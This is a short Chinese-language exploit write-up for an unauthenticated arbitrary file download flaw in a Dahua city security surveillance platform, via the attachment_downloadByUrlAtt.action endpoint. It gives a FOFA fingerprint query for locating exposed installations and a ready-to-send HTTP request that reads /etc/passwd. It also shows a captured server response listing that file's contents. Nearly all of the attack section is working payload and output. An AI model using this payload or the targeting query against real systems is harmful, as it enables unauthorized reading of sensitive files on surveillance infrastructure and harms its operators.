

D5-2大华-城市安防监控系统平台管理-任意文件下载

漏洞描述：

大华城市安防监控系统平台 attachment_downloadByUrlAtt.action接口存在任意文件下载漏洞，未经[身份验证](#)的攻击者 可以获取系统内部敏感文件信息，使系统处于极不安全的状态。

网站图片：



网络测绘：

fofa语法：

body="" || body="dahuaDefined/headCommon.js" || title=="DSS"

漏洞复现：

payload:

```
GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

```
1 GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8
```

Responses 2937bytes / 162ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=052D2335CCEA0991BA0
4 Content-disposition: attachment;filename=p
5 Date: Wed, 31 Jan 2024 18:36:28 GMT
6 Connection: close
7 Content-Length: 2937
8
9 root:x:0:0:root:/root:/bin/bash
10 bin:x:1:1:bin:/bin:/sbin/nologin
11 daemon:x:2:2:daemon:/sbin:/sbin/nologin
12 adm:x:3:4:adm:/var/adm:/sbin/nologin
13 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
14 sync:x:5:0:sync:/sbin:/bin/sync
15 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdo
16 halt:x:7:0:halt:/sbin:/sbin/halt
17 mail:x:8:12:mail:/var/spool/mail:/sbin/nol
18 news:x:9:13:news:/etc/news:
19 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/no
20 operator:x:11:0:operator:/root:/sbin/nolog
21 games:x:12:100:games:/usr/games:/sbin/nolo
22 gopher:x:13:30:gopher:/var/gopher:/sbin/no
23 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologi
24 nobody:x:99:99:Nobody:./:/sbin/nologin
25 dbus:x:81:81:system message bus:./:/sbin/no
26 vcsa:x:69:69:virtual console memory owner:
27
```

